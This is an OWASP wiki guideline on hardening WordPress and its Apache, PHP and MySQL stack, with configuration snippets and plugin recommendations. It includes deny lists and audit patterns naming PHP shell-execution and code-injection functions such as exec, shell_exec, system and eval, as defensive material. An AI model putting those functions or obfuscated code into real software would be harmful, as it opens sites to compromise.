This project aims for a unified approach on WordPress security design and implementation. It is definitely more than a checklist, it's a guide for secure implementation and an invitation to consider and to analyze each individual case. <br />
<br />
There is a long list of recommended resources for securing aspects of the WordPress implementation. The project is aimed to offer open source or free resources instead of commercial ones. Some plugins have a free version and a paid one that offers extra functionality. In such cases, the focus of the project was on the free version.<br />
<br />
= General security =<br />
This section is meant to be just a reminder that all the other hardening measures are useless if an attacker can gain access to WordPress users’ computers. We’re not going to spend the time and effort to go into details but rather enumerate the common good practices each security conscious user should have in mind. There are plenty of good resources to help anyone accomplish security basics.<br />
<br />
== Device security ==<br />
When we talk about devices capable of accessing the WordPress administration interface we don’t just talk about computers but mobile devices as well. The following is a list of items that needs to be taken into account when securing the devices that will be accessing the WordPress instances. Some of them may refer to PCs and mobile devices, others just to one of the devices.<br />
<br />
* Password protect the device<br />
* Use strong passwords<br />
* Keep the OS updated<br />
* Encrypt the storage<br />
* Have an anti-virus installed and updated<br />
* Have a malware/spyware scanner installed and perform regular scans and updates<br />
* Have a firewall installed and configured <br />
* [http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm Secure your browser]<br />
<br />
= Infrastructure security =<br />
Before hardening the core of WordPress an implementer must consider hardening the services on which the instance will be installed. Sometimes the underlying infrastructure is not under the control of the implementer. While there are things that can be hardened on WordPress to mitigate things that are supposed to be fixed on the infrastructure side, one should always consider defense in depth. The implementer can contact the infrastructure administrator and ask for specific hardening in order to further protect the applications that will be installed on top of that, in this case WordPress. <br />
<br />
The foundation of infrastructure hardening is operating system hardening. This is a broad subject and highly dependent on the OS, the main concerns being around privileges, access control, authentication and logging. It’s a topic outside the coverage of the current project and these are things that must be covered by experienced System Administrators.<br />
<br />
WordPress can be installed on a multitude of platforms but the main focus below is on the most common components, Apache and MySQL. The general rules though apply to all supported infrastructure components. <br />
<br />
Following best design practices, the tiers of the WordPress instance should be separated. However the presentation and application layers of WordPress are bound together. Thus only one separation is possible, the one with the database. For small applications it’s not a common practice, but for larger sites this becomes a must from a security but also a performance perspective. <br />
<br />
As was the case with general security, this is just a list of things that should be performed in order to harden the infrastructure and not the means to do it. <br />
<br />
== Apache hardening ==<br />
* Update regularly<br />
* Disable directory listing<br />
* Secure the communication with the server by generating and using SSL certificates<br />
* Disable unnecessary modules<br />
** Good candidates for this are: ''userdir'', ''suexec'', ''cgi/cgid'', ''include'', ''autoindex''<br />
* Run the daemon as a separate user and group<br />
* Use ''Allow'' and ''Deny'' to restrict access to directories<br />
* Use ''mod_security'' module to secure Apache<br />
* Disable following of ''symbolic links''<br />
* Turn off server sides includes and CGI execution<br />
* Limit request size<br />
* Configure other settings like ''TimeOut'', ''MaxClients'', ''KeepAliveTimeout'', ''LimitRequestFields'', ''LimitRequestFieldSize'' in order to prevent DoS attacks<br />
* Enable and configure proper logging<br />
* Modify server banner<br />
<br />
== PHP hardening ==<br />
* Update regularly<br />
* Don’t install PHP as a CGI binary<br />
* Disable unnecessary PHP modules<br />
* Disable unused potentially dangerous PHP functions (good examples: ''exec'',''passthru'',''shell_exec'',''system'', etc.)<br />
* Log errors internally<br />
* Disable verbose error reporting on the client side<br />
* Turn off remote code execution (if it’s not needed; the core WordPress doesn’t need this functionality)<br />
* Disable magic quotes<br />
* Limit PHP access to file system<br />
* Protect from DoS<br />
** Control POST size<br />
** Limit script time execution<br />
** Limit memory usage<br />
* Consider implementing the [http://www.suhosin.org/stories/index.html Suhoshin security extension]<br />
* Hide the version of PHP in use<br />
* Hide the .php extension<br />
<br />
== MySQL hardening ==<br />
There is an entire [https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening OWASP project dedicated to MySQL hardening]. The main action items are:<br />
<br />
* Update regularly<br />
* Disable or restrict remote access<br />
* Filesystem access restrictions and ACLs<br />
* Designing a chroot-jail<br />
* Encrypting network traffic (this is a must if the database layer is physically separated from the application layer)<br />
* Encrypting raw databases on filesystem level<br />
** Redundant if disk encryption is in place at the OS layer<br />
** However, by using ''dmcrypt'', one can generate an extra layer of encryption<br />
* Backup encryption<br />
* Configuration<br />
** Connectivity: maximum number of concurrent connections and related settings<br />
** Logging<br />
** Access control and privilege management<br />
** Set up root password<br />
** Rename root account<br />
** Delete unused users and databases<br />
** Remove installation history<br />
<br />
A PHP security checker is available [https://github.com/sektioneins/pcc here]. This is a one-page php file designed to analyze PHP configuration and rank the findings based on severity.<br />
<br />
'''Note on WordPress / MySQL specific hardening:''' In a typical WordPress installation the MySQL user used by WordPress has full administrative privileges on the database. This is required so when WordPress is installed the tables can be created in the database. Also, some plugins create their own tables, so such privilege is required. However, as an extra precaution you should limit the MySQL user's database privileges to just reading and writing of data. Only allow database structure alteration privileges when required, typically when:<br />
* Installing a new plugin that requires it's own table<br />
* Updating WordPress core (major version updates)<br />
* Updating a plugin that uses its own tables<br />
* Uninstalling a plugin that uses its own tables so it can delete the tables.<br />
<br />
== Remote access ==<br />
* Don’t use FTP (use sFTP where possible)<br />
* If SSH access is available, use [http://linux.die.net/man/1/scp scp] or [http://winscp.net/eng/index.php WinSCP] for file transfer <br />
* Consider using VPN or [http://www.pentest.ro/ssh-tunnels-an-alternative-to-vpn/ SSH tunnels] to the server for accessing the WordPress administrative interface<br />
<br />
= WordPress security =<br />
There are three main components of WordPress that need to be considered from a security perspective when implementing the solution.<br />
<br />
* Core – the basic default installation files that provide most of the functionality <br />
* Plugins – special written code to improve and extend the basic functionality<br />
* Theme – the presentation layer which may come with some limited extended functionality<br />
<br />
== Updates ==<br />
It is of vital importance to keep WordPress core, plugins and themes updated. Once an update is released, it needs to be applied as soon as possible to close any security holes. <br />
<br />
Functional problems with updates must be considered. It is possible that an update will break some of the functionality so a backup is recommended before updating the core. <br />
<br />
=== WordPress Core ===<br />
The WordPress core has three different types of updates:<br />
<br />
* Core development updates, known as the "bleeding edge"<br />
* Minor core updates, such as maintenance and security releases<br />
* Major core release updates<br />
<br />
Starting with version 3.7, automatic background updates were introduced by default for minor core updates releases (generally security updates). This default behavior can be overridden by editing the wp-config.php file and adding or modifying the following statement<br />
<br />
''define( 'WP_AUTO_UPDATE_CORE', true );''<br />
<br />
When set to true all updates will be enabled. Translations are updated by default with the minor core updates.<br />
<br />
=== Themes and Plugins ===<br />
The themes and plugins can be updated automatically using filters. The best place to put a filter is in a [http://codex.wordpress.org/Must_Use_Plugins must-use plugin]. WordPress doesn’t recommend putting filters in the wp-config.php file because of conflicts with other parts of the code.<br />
<br />
To enable automatic updates for themes and plugins, add the following code<br />
<br />
''add_filter( 'auto_update_plugin', '__return_true' );''<br />
<br />
''add_filter( 'auto_update_theme', '__return_true' );''<br />
<br />
== Removal of unused plugins and themes ==<br />
Depending on the server configuration, the files in the WordPress folder can be accessed from the Internet regardless of whether they are used or not. Even if a plugin is disabled, the files are still there and they are accessible from the Internet.<br />
<br />
When a new vulnerability is discovered, the attackers write scripts to look for the vulnerable files. Knowing the location of vulnerable plugins increases their chances of infiltrating a vulnerable instance. <br />
<br />
Any plugins and themes that are not actively used must be deleted. <br />
<br />
== Plugins & Themes Security ==<br />
Plugins and themes are a great addition to the functionality offered by the WordPress core. WordPress’ success is based on these elements. It’s easy to develop a new theme, add new functions with plugins. This ease of development comes with the security downside. In the rush for functionality, the developers often forget about security. Looking at the [https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress CVE list for WordPress] it’s worth noticing that in the past years most of the security defects are affecting the plugins and themes and not WordPress core.<br />
<br />
Developing on top of WordPress should be regarded as a regular development job and follow a standard secure development lifecycle. Concrete action items for this chapter include source code review and penetration testing of plugins and themes.<br />
<br />
When choosing to use an already developed plugin by a 3<sup>rd</sup> party, a security audit should be performed. Good differentiators for available plugins are:<br />
<br />
* Publication in the official plugin store at https://wordpress.org/plugins/<br />
* User ratings and comments<br />
* Version number (is it a young plugin/theme or has it faced the challenges of time?)<br />
* Last update <br />
* Update frequency <br />
* Compatibility with the current version of the WordPress core<br />
<br />
=== Source code audits for Plugins & Themes ===<br />
In order to perform a source code audit, the following free tools can be used:<br />
<br />
* [http://rips-scanner.sourceforge.net/ RIPS]<br />
* [http://www.program-transformation.org/PHP/PhpSat PHP-sat]<br />
* [https://www.scovetta.com/yasca/ Yasca]<br />
* [http://resources.infosecinstitute.com/finding-bugs-in-php-using-grep/ Manual analysis using grep], [https://grepbugs.com/ GrepBugs]<br />
<br />
====WordPress Vulnerability Scanner====<br />
WPScan is a free, for non-commercial use, black box [https://wpscan.org/ WordPress vulnerability scanner] written for security professionals and blog maintainers to test the security of their sites. The WPScan CLI tool uses data from the [https://wpvulndb.com/ WPScan Vulnerability Database], which includes WordPress Core, them and plugin vulnerabilities.<br />
<br />
==== Free source code audits for Plugins on the WordPress Repository ====<br />
CodeRisk, the developers of the RIPS free scanner also run [https://coderisk.com/wp/plugins automated source code audit scans] of all the plugins on the WordPress repository. If you have a plugin on the WordPress repository, create a free account and claim ownership of your plugin on their project. As a verified plugin owner you will have access to the detailed scan results and can see all the technical vulnerability details you require to address the flaw.<br />
<br />
Things to pay extra attention during the source code audit:<br />
<br />
* Obfuscated code<br />
* BASE64 encode function<br />
* System call functions (exec, passthru, system, shell_exec, etc.)<br />
* PHP code execution (eval, assert, preg_replace, etc.)<br />
* Information disclosure functions (phpinfo, getenv, getmygid/pid/uid, etc.)<br />
* Filesystem functions (fopen, bz/gzopen, chgrp/own/mod, etc.)<br />
<br />
== Backup ==<br />
The backup process is essential. The configuration of the backup process can make the distinction between a clean and fast recovery or a loss of data and prolonged downtime.<br />
<br />
What needs to be included in the backup?<br />
<br />
* The WordPress Files<br />
** WordPress Core Installation<br />
** WordPress Plugins<br />
** WordPress Themes<br />
** Images and Files<br />
** JavaScript and PHP scripts, and other code files<br />
** Additional Files and Static Web Pages<br />
* The Database<br />
<br />
It’s easy to say that a full backup of the /public_html folder is needed. However there are situations in which this is not feasible nor enough. There are situations in which large quantities of data is generated in the public folder (statistics, temporary data, etc.) that is useless in the backup process. There’s also the situation in which configuration files are placed outside the public directory. They also need backup.<br />
<br />
The plan is to identify the files and folders that must be part of the backup process and save these in a remote location.<br />
<br />
For database backup, the mysql command line can be used or administrative interfaces like phpMyAdmin. <br />
<br />
How often should the backup be performed? It all depends on how often the instance is updated from a content perspective. If there are multiple updates a day, it’s a good idea to have a daily backup. If there’s a new article every several days, than a weekly or monthly backup is the way to go.<br />
<br />
It’s a good practice to keep multiple backups and have them time stamped. This is because a breach might not be noticed immediately and a clean recovery can only be performed from a backup which is several iterations old. <br />
<br />
Verifying that the backup is functional is part of the process. A backup that does not allow quick and full recovery is useless. The idea is to have a clean server and perform a full recovery from the backup, then check all the functionality and make sure nothing is missing.<br />
<br />
=== Automation ===<br />
The steps above are manual and labor intensive. There is a full list of plugins that can help this process: https://wordpress.org/plugins/tags/backup<br />
<br />
The one free alternative offering full backup capabilities that stands out of the list is [https://wordpress.org/plugins/backwpup/ BackWPup]. The free version can be used to save your complete installation including /wp-content/ and push it to an external Backup Service, like Dropbox, S3, FTP (not a good idea) and many more. <br />
<br />
From a security perspective, it’s worth noticing that an attacker who compromised the installation may be able to retrieve credentials and access the remote location of the backups, thus being able to manipulate or delete them. As a good precaution, on the remote side where the backups are stored, an independent process should take the backups and move them to a location inaccessible from the WordPress installation.<br />
<br />
== User roles and proper usage ==<br />
Understanding the roles and properly assigning them to users is essential in the segregation of duties process. <br />
<br />
The WordPress roles are:<br />
<br />
* Super Admin – somebody with access to the site network administration features and all other features<br />
* Administrator – somebody who has access to all the administration features within a single site<br />
* Editor – somebody who can publish and manage posts including the posts of other users<br />
* Author – somebody who can publish and manage their own posts<br />
* Contributor – somebody who can write and manage their own posts but cannot publish them<br />
* Subscriber – somebody who can only manage their profile<br />
<br />
The least privilege principle must be considered when assigning roles. <br />
<br />
A full list of privileges and a comparison between roles is available at http://codex.wordpress.org/Roles_and_Capabilities. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/members/ Members Plugin]<br />
* [https://wordpress.org/plugins/role-scoper/ Role Scoper Plugin]<br />
* [http://wordpress.org/extend/plugins/user-access-manager/ User Access Manager]<br />
* [http://wordpress.org/extend/plugins/advanced-access-manager/ Advanced Access Manager]<br />
* [http://wordpress.org/extend/plugins/user-role-editor/ User Role Editor]<br />
<br />
== Restrict the access to the admin interface ==<br />
Restricting the access to the admin interface should be considered as no regular user is in need of access to this area. For a site with few users it makes sense to whitelist their IP addresses. Additionally, the access can be restricted only to the localhost and have the users VPN in or create a tunnel to the server (if SSH is enabled) and then access the admin interface.<br />
<br />
To restrict the access to the wp-admin folder, a file called .htaccess needs to be created in that folder. The content of the file should be:<br />
<br />
''Order Deny,Allow''<br />
<br />
''Deny from all''<br />
<br />
''Allow from 127.0.0.1''<br />
<br />
Multiple IP addresses separated by whitespaces can be added and the use of wildcards (*) is permitted.<br />
<br />
== Prevent brute-forcing ==<br />
Brute-forcing is the easy way in for an attacker. As discussed in the General Security chapter, a prerequisite for preventing bruteforcing is to have [https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Password_Complexity strong passwords]. Apart from that, an additional layer of protection can be added in the form of [http://en.wikipedia.org/wiki/CAPTCHA CAPTCHA]. <br />
<br />
One good plugin candidate is [https://wordpress.org/plugins/google-captcha/ Google Captcha (reCAPTCHA)]. The advantage of this plugin is that it can be used to add the extra layer of protection on other areas as well (like registration and comments).<br />
<br />
CAPTCHA is not a perfect solution by any means. There are services offering real-time CAPTCHA solving for a few cents per challenge. However it takes seconds to solve a CAPTCHA even for a good service like this, thus this sort of attack becomes unfeasible.<br />
<br />
Another preventive measure is to lock-out accounts after a series of failed attempts. There is no plugin at the moment that can lock a user after several failed attempts for a period of time, there are plugins blocking IP addresses that are brute-forcing the login mechanism. This approach is not the best when dealing with distributed attacks.<br />
<br />
== Implement two factor authentication ==<br />
To add another layer of security on the authentication mechanism, two factor authentication can be enabled. Two factor authentication is a method of securing accounts requiring that you not only know something (a password) to log in but also that you possess something (your mobile device). The benefit of this approach to security is that even if someone guesses your password, they need to have also stolen your possession in order to break into your account.<br />
<br />
Supporting plugins: <br />
* Clef (unfortunately the product was retired in April 2017)<br />
* Google Authenticator<br />
* MiniOrange and other 2FA plugins<br />
https://en-gb.wordpress.org/plugins/tags/2fa/<br />
<br />
== Remove or change the default administrator account ==<br />
There are two main reasons for creating a new administrator or modifying the old one:<br />
<br />
* After the installation the default username is “admin”; an attacker trying to brute-force his way in will try default usernames<br />
* The default id of the admin account is 1; an attacker who discovers a SQL injection is will try to update the user with id = 1<br />
<br />
Both tasks can be performed manually in the database without the need to delete the admin account or can be performed in the administration User Interface. Create a new administrator, log in with the new credentials and delete the default one.<br />
<br />
== Disable user registration if not needed ==<br />
If user management is performed manually or through integration with other user management systems, there is no need for this functionality to be enabled in WordPress.<br />
<br />
To disable user registration, log in as an administrator, go to '''Settings -> General''' and make sure the '''“Anyone can register”''' box is unchecked.<br />
<br />
== Change the database prefix ==<br />
In case a 0-day SQL injection vulnerability is discovered, an attacker will try to exploit the known tables from a default WordPress installation. To prevent this from happening, the default prefix of the tables needs to be changed. This can be performed in several ways:<br />
<br />
* During the installation process<br />
* Manually via ''mysql'' command line or ''phpMyAdmin'' for all the tables; after this, the wp-config.php file must be configured to reflect the changes ($table_prefix = "ves1uaq3_";)<br />
* With a plugin ([https://wordpress.org/plugins/db-prefix-change/ Change DB Prefix])<br />
<br />
== Control comments ==<br />
WordPress was initially a blogging platform so the ability to add comments was part of the success story. Things changed with the shift of WordPress towards a CMS so comments might not be necessary in all instances. There are several things that need to be considered when dealing with this topic:<br />
<br />
* Are comments needed? If not, they should be disabled. Log in as administrator. For new posts go to '''Settings -> Discussion''' and uncheck "'''Allow people to post comments on new articles'''". For existing posts, go to '''Posts''', select all of them, '''Bulk Actions -> Edit''' and choose “'''do not allow'''” near '''Comments''' before hitting '''Update posts'''.<br />
* If comments are required, who should be able to post them? If only registered users should be allowed to add comments, go to '''Settings -> Discussion''' and check the “'''Users must be registered and logged in to comment'''” box.<br />
* Should comments be reviewed before publishing? If so, the “'''Comment must be manually approved'''” box must be checked.<br />
* If comments are not reviewed before publishing, using an anti-spam plugin like the default [https://wordpress.org/plugins/akismet/ Akismet] is advised <br />
<br />
As a general rule of thumb, all the options under '''Settings -> Discussion '''should be carefully reviewed. <br />
<br />
== Check file permissions ==<br />
Permissions on files and directories determine who is allowed to read, write and execute them. Permission settings will vary from situation to situation and between shared hosting and dedicated hosting.<br />
<br />
Following is a list of desired permissions on sensitive items and fallback options:<br />
<br />
* wp-config.php<br />
** Desired: 400<br />
** Fallback: 440, 600, 640<br />
* uploads folder<br />
** Desired: 755<br />
** Fallback: 766, 777 (not recommended)<br />
* .htaccess files<br />
** Desired: 400<br />
** Fallback: 440, 444, 600, 640<br />
<br />
== Delete readme.html and install.php ==<br />
The readme.html file may reveal sensitive information and is not needed from a functional perspective. <br />
<br />
The install.php is a residue of the installation process and even though it does not allow it to be restarted it’s not needed and should be removed.<br />
<br />
The license.txt reveals the year of last Wordpress update - a fact that attackers can use to scan for outdated WordPress installations.<br />
<br />
Action item:<br />
<br />
* Delete the /<WordPress_root>/readme.html /<WordPress_root>/license.txt and /<WordPress_root>/wp-admin/install.php files<br />
<br />
== Add blank index.php files where needed ==<br />
Especially in shared environments where the settings of the web server are outside the control of the WordPress implementer, directory listing might be enabled. To add an extra layer of security, blank index.php files should be added to the folders that don’t have indexes in order to prevent browsing of the resources. The main folders that need to be considered are:<br />
<br />
* wp-includes<br />
* wp-content<br />
* wp-content/plugins<br />
* wp-content/themes<br />
* wp-content/uploads<br />
<br />
== Move wp-config.php file outside the web root folder ==<br />
The wp-config.php file is a very important configuration file. It contains a lot of sensitive information about your WordPress site, like your database information for example.<br />
<br />
WordPress will automatically look for this file in the folder above the WordPress root folder if it does not exist in the root folder. Moving this file out of the public_html folder means the file will not be accessible from the Internet.<br />
<br />
== Create secret keys ==<br />
Starting with the release of WordPress 2.6, a new set of security features for passwords and password hashing and cookie security is included. This feature works without doing anything, but it's not particularly powerful without some extra steps. In order to greatly increase the security of the WordPress installation, secret keys must be set up. This should be part of the standard installation process. Whenever there’s suspicion that the secret keys have been compromised, the administrator must change them. Changing the secret keys will invalidate all sessions so users will need to re-authenticate. <br />
<br />
Setting up or changing secret keys can be done by adding or editing the following lines to the wp-config.php file, right after the other define statements:<br />
<br />
''define('AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('SECURE_AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('LOGGED_IN_KEY', 'put your unique phrase here');''<br />
<br />
''define('NONCE_KEY', 'put your unique phrase here');''<br />
<br />
You don't have to remember the keys, just make them long, random and complicated -- or better yet, use the [https://api.wordpress.org/secret-key/1.1/salt/ online generator].<br />
<br />
== Enforce transport layer encryption (HTTPS) for all site pages ==<br />
Regardless of what information you have stored on your website, enforce transport layer encryption. It should be enforced on both the front end for the visitors, and also on the the WordPress admin pages for the logged in users. <br />
<br />
=== Free SSL/TLS Certificate ===<br />
You can get a free SSL/TLS certificate for your WordPress site from [https://letsencrypt.org/ Let's Encrypt]. All the major WordPress web hosts support Let's Encrypt.<br />
<br />
=== Switching your WordPress to HTTPS ===<br />
If you already have a WordPress site hosted on HTTP, you can switch to HTTPS by following one of the methods below.<br />
<br />
==== The Manual Method ====<br />
# Install the SSL/TLS certificate.<br />
# Login to your WordPress and navigate to the '''Settings''' >> '''General''' page.<br />
# Change the protocol from ''HTTP'' to ''HTTPS'' in the ''Website Address (URL)'' and ''Site Address (URL)'' settings.<br />
# Save the settings.<br />
# Use the tool [https://interconnectit.com/products/search-and-replace-for-wordpress-databases/ Database Search and Replace Script in PHP] to replace the protocol of all the links pointing to your own website in your database from ''HTTP'' to ''HTTPS''.<br />
# Configure the web server to redirect all the HTTP traffic to HTTPS as per the instructions below.<br />
<br />
===== Redirecting HTTP to HTTPS traffic on Apache =====<br />
Add the below code to your .htaccess file.<br />
<IfModule mod_rewrite.c><br />
RewriteEngine On<br />
RewriteCond %{HTTPS} off<br />
RewriteRule ^(.*)$ <nowiki>https://%{HTTP_HOST}%{REQUEST_URI}</nowiki><br />
[L,R=301]<br />
</IfModule><br />
<br />
===== Redirecting HTTP to HTTPS traffic on Nginx =====<br />
Add the below code to your Nginx configuration file and change ''mysite.com'' with the domain of your WordPress site.<br />
server {<br />
listen 80;<br />
server_name mysite.com www.mysite.com;<br />
return 301 <nowiki>https://mysite.com$request_uri</nowiki>;<br />
}<br />
<br />
==== The Plugin Method ====<br />
Alternatively, you can also use the plugin [https://wordpress.org/plugins/really-simple-ssl/ Really Simple SSL] to switch your WordPress to HTTPS.<br />
<br />
== Use a Web Application Firewall (WAF) ==<br />
A WAF should be in place at the web server layer. Because that is not always accessible to the implementer, a WAF plugin can be used to add this layer of protection. You can use the free plugin [https://wordpress.org/plugins/block-bad-queries/ BBQ: Block Bad Queries] as a WAF for your WordPress site.<br />
<br />
== Security plugins ==<br />
This section is a list of security plugins and a short description of their functionality. As previously mentioned, the focus is on free plugins.<br />
<br />
* [https://wordpress.org/plugins/wpscan/ WPScan WordPress Security Plugin] - Uses the WPScan Vulnerability Database to scan sites for known WordPress core, theme and plugin vulnerabilities.<br />
* [https://wordpress.org/plugins/better-wp-security/ iThemes Security] – iThemes Security (formerly Better WP Security) gives you over 30+ ways to secure and protect your WordPress site. In its free version it can obscure, detect, protect and recover a WordPress installation<br />
* [https://wordpress.org/plugins/bulletproof-security/ BulletProof Security] – the free version offers:<br />
** .htaccess Website Security Protection (Firewalls)<br />
** Login Security & Monitoring<br />
** DB Backup<br />
** DB Backup Logging<br />
** DB Table Prefix Changer<br />
** Security Logging<br />
** HTTP Error Logging<br />
** FrontEnd/BackEnd Maintenance Mode<br />
* [https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/ All In One WP Security & Firewall]<br />
** User Account/Login/Registration Security<br />
** Database & File System Security<br />
** htaccess and wp-config.php File Backup and Restore<br />
** Blacklist Functionality<br />
** Firewall Functionality<br />
** Brute-force login attack prevention<br />
** Security Scanner<br />
* [https://wordpress.org/plugins/sucuri-scanner/ Sucuri Security - Auditing, Malware Scanner and Security Hardening]<br />
** Security Activity Auditing<br />
** File Integrity Monitoring<br />
** Remote Malware Scanning<br />
** Blacklist Monitoring<br />
** Effective Security Hardening<br />
** Post-Hack Security Actions<br />
** Security Notifications<br />
** Website Firewall (add on)<br />
*[https://en-gb.wordpress.org/plugins/wordfence/ Wordfence Security Plugin] <br />
**Web Application Firewall<br />
**Threat Defence Feed<br />
**Real-time blocking of known attackers<br />
**Rate-limiting<br />
**Login Security<br />
**File integrity monitoring and scanning<br />
**Real-time Monitoring<br />
<br />
== Disable the Plugin and Theme Editor ==<br />
Occasionally you may wish to disable the plugin or theme editor to prevent overzealous users from being able to edit sensitive files and potentially crash the site. Disabling these also provides an additional layer of security if a hacker gains access to a well-privileged user account. <br />
<br />
Open your wp-config.php file and add the following constant:<br />
<br />
''define('DISALLOW_FILE_EDIT',true);''<br />
<br />
== Keep a WordPress Activity Log ==<br />
Logging is very important, especially on multi user platforms such as WordPress. The [[:Category:OWASP Top Ten Project|OWASP Top 10 project]] lists insufficient logging & monitoring as one of the most common security flaws in web applications.<br />
<br />
By default WordPress does not keep an activity log (audit log) of what logged-in users do on the website. So you can use a plugin to keep a record of the activity of logged-in users. Some of the security plugins mentioned in the previous section have some logging capabilities, though they are very basic.<br />
<br />
Below are some of the most popular WordPress activity log plugins you can work with if you want better coverage:<br />
<br />
[https://www.wpsecurityauditlog.com/ WP Security Audit Log]<br />
* comprehensive WordPress activity log solution<br />
* supports WordPress multisite networks<br />
* most advanced coverage in terms of what it can keep a log of<br />
* out of the box support for popular WordPress plugins such as WooCommerce, bbPress and Advanced Custom Fields (ACF).<br />
[http://wp-stream.com/ WP Stream]<br />
* easy to use<br />
* ideal for users who may not need detailed activity log<br />
* WP-CLI command interface for querying records<br />
* integrates with Slack<br />
[https://wordpress.org/plugins/simple-history/ Simple History]<br />
* ideal for users who may not need detailed activity log<br />
* has Limit Login Attempts included<br />
* activity log is available via a RSS feed<br />
* easy to integrate with<br />
<br />
= Large-scale integration =<br />
Implementing one WordPress site and maintaining it is a doable job for an administrator. In large corporate environments there may be hundreds of instances that need management, configuration and maintenance. This can easily become an unmanageable situation. When dealing with large number of instances, a centralized approach is needed.<br />
<br />
== Creating a standard image ==<br />
The first step is to create a standard WordPress installation with all the security configuration and plugins in place. This should be a blank installation with no data that can be easily replicated when a new instance needs to be created. <br />
<br />
A process for new instances must be in place and approach at least the following subjects:<br />
<br />
* General configuration<br />
* Database connectivity <br />
* Setting the administrator account<br />
<br />
== LDAP integration & Single Sign On ==<br />
User management for large WordPress sites can be a hassle. In corporate environments users are in general centrally managed and assigned to different groups. WordPress can make use of this already established situation. Whether it’s [http://en.wikipedia.org/wiki/Active_Directory Active Directory] or other LDAP compatible service, this establishment is already used in the organization trying to implement WordPress. It’s easy to set up groups based on WordPress roles and assign users to different groups, based on their required level of access. Once the integration is achieved, one can go further towards an elegant solution by implementing Single Sign On. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/active-directory-integration/ Active Directory Integration]<br />
* [https://wordpress.org/support/plugin/active-directory-sso Active Directory SSO]<br />
* [https://wordpress.org/plugins/simple-ldap-login/ Simple LDAP Login]<br />
<br />
== Multisites ==<br />
A large environment requires multiple instances of WordPress. Managing each individual instance can become impossible for a single person or a small team. This is where a built-in feature of WordPress comes in handy, [http://codex.wordpress.org/Create_A_Network multisite or network of sites].<br />
<br />
A multisite network can be very similar to a personal version of WordPress.com. End users can create their own sites on demand, just like end users of WordPress.com can create blogs on demand. If there’s no need to allow end users to create their own sites on demand, the administrator of the network can create a multisite network in which only he can add new sites.<br />
<br />
A multisite network is a collection of sites that all share the same WordPress installation. They can also share plugins and themes. The individual sites in the network are virtual sites in the sense that they do not have their own directories on your server, although they do have separate directories for media uploads within the shared installation, and they do have separate tables in the database.<br />
<br />
WordPress does a good job in providing the necessary documentation for:<br />
<br />
* [http://codex.wordpress.org/Create_A_Network Installation]<br />
* [http://codex.wordpress.org/Multisite_Network_Administration Administration]<br />
* [http://codex.wordpress.org/Debugging_a_WordPress_Network Debugging]<br />
* [http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite Migration]<br />
<br />
The benefit of the multisite feature is centralized management of security. Plugins can be checked once for security defects and when a stable and secure version is available it can be pushed to all the sites in the same time.<br />
<br />
This built-in solution might not always be the best choice. For example, all the plugins are shared between different sites and the administrators of those sites choose which plugins to enable and which to disable.<br />
<br />
== Unified management of multiple installations ==<br />
If multiple separate instances of WordPress need to be managed centrally, there are several solutions (most of them have at least some form of commercial addons) that can accomplish the task:<br />
<br />
* [http://infinitewp.com/ InfiniteWP] is a free, self-hosted multiple WordPress management platform that simplifies WordPress management tasks into simple clicks. Features:<br />
** One master login<br />
** One click updates<br />
** Instant backup & restore<br />
** Plugins & themes management<br />
* [https://mainwp.com/ MainWP] is an open source, free and self-hosted WordPress management platform similar to InfiniteWP.<br />
* [https://managewp.com/ ManageWP]<br />
* [https://wpremote.com/ WPRemote] lets administrators monitor an unlimited number of WordPress websites. Through the WP Remote dashboard they can update WordPress and update plugins and themes. A snapshot (backup) of the websites can be downloaded from the interface<br />
<br />
<br />
= Resources =<br />
The project started with a discussion between [https://www.linkedin.com/in/dancatalinvasile Dan Vasile] (the initiator) and [https://www.linkedin.com/in/andersvinther Anders Vinther] who has already published [http://www.wpsecuritychecklist.com/ a guide] about secure WordPress implementation. Based on the information there, a part of the skeleton and content of the current project was created.<br />
<br />
== Browser security ==<br />
* http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm<br />
<br />
== Apache hardening ==<br />
* http://httpd.apache.org/docs/current/misc/security_tips.html<br />
* http://www.tecmint.com/apache-security-tips/<br />
* https://wiki.debian.org/Apache/Hardening<br />
<br />
== PHP hardening ==<br />
* http://php.net/manual/en/security.php<br />
* http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html<br />
* http://www.suhosin.org/stories/index.html<br />
<br />
== MySQL hardening ==<br />
* https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening<br />
* http://www.greensql.com/content/mysql-security-best-practices-hardening-mysql-tips<br />
<br />
== Wordpress ==<br />
* http://codex.wordpress.org/Configuring_Automatic_Background_Updates<br />
* http://stackoverflow.com/questions/3115559/exploitable-php-functions<br />
* http://codex.wordpress.org/WordPress_Backups <br />
* http://codex.wordpress.org/Roles_and_Capabilities<br />
* http://en.support.wordpress.com/security/two-step-authentication/ <br />
* http://codex.wordpress.org/Create_A_Network <br />
* http://codex.wordpress.org/Before_You_Create_A_Network <br />
* http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite <br />
* http://codex.wordpress.org/Editing_wp-config.php<br />
<br />
=Project About=<br />
{{:Projects/OWASP_Wordpress_Security_Checklist_Project}} <br />
<br />
[[Category:OWASP Project]]<br />
[[Category:WordPress]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=OWASP_Wordpress_Security_Implementation_Guideline&diff=253288OWASP Wordpress Security Implementation Guideline2019-07-25T13:40:13Z<p>Ryan Dewhurst: Add WPScan info</p>
<hr />
<div>= Considerations =<br />
This project aims for a unified approach on WordPress security design and implementation. It is definitely more than a checklist, it's a guide for secure implementation and an invitation to consider and to analyze each individual case. <br />
<br />
There is a long list of recommended resources for securing aspects of the WordPress implementation. The project is aimed to offer open source or free resources instead of commercial ones. Some plugins have a free version and a paid one that offers extra functionality. In such cases, the focus of the project was on the free version.<br />
<br />
= General security =<br />
